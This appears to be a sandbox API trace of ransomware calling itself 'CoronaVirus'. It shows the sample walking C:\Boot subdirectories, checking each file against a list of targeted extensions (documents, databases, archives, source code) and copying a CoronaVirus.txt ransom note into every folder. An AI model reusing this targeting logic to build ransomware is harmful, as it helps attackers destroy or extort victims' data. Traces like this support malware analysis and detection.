	[0083.181] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaef303c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.181] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.181] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaef303c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.181] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.181] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.181] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.181] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.181] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.181] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.181] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.181] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.181] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.181] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.182] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.182] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.183] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.183] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.184] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.184] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaef303c, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaef303c, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.184] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.184] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.184] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.184] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.184] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.185] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.185] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.185] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.185] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.185] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.185] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.185] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.185] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.185] malloc (_Size=0x1000) returned 0x2f345a8
	[0083.185] _swprintf (in: param_1=0x2f345a8, param_2="%s\\%s" | out: param_1="C:\\Boot\\es-MX\\CoronaVirus.txt") returned 29
	[0083.185] wcsstr (_Str="C:\\Boot\\es-MX\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.185] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaef303c, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaef303c, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.185] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.185] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0083.185] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0083.185] wcsncmp (_String1="et", _String2="..", _MaxCount=0x2) returned 55
	[0083.185] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\et-EE") returned 13
	[0083.185] wcsncmp (_String1="C:\\Boot\\e", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.185] wcsstr (_Str="C:\\Boot\\et-EE", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.186] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\et-EE\\CoronaVirus.txt" (normalized: "c:\\boot\\et-ee\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.190] _alloca_probe () returned 0x4036d0
	[0083.190] GetFullPathNameW (in: lpFileName="C:\\Boot\\et-EE", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\et-EE", lpFilePart=0x316583c*="et-EE") returned 0xd
	[0083.190] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeaf1401c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600750
	[0083.190] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.190] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeaf1401c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.190] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.190] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.190] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.190] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.190] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.190] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.190] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.190] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.190] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.190] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.191] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.191] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.192] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.192] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.193] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.193] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf1401c, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaf1401c, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.193] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.193] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.193] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.193] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.193] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.194] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.194] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.194] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.194] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.194] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.194] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.194] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.194] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.194] malloc (_Size=0x1000) returned 0x2f355b0
	[0083.194] _swprintf (in: param_1=0x2f355b0, param_2="%s\\%s" | out: param_1="C:\\Boot\\et-EE\\CoronaVirus.txt") returned 29
	[0083.194] wcsstr (_Str="C:\\Boot\\et-EE\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.194] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf1401c, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaf1401c, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
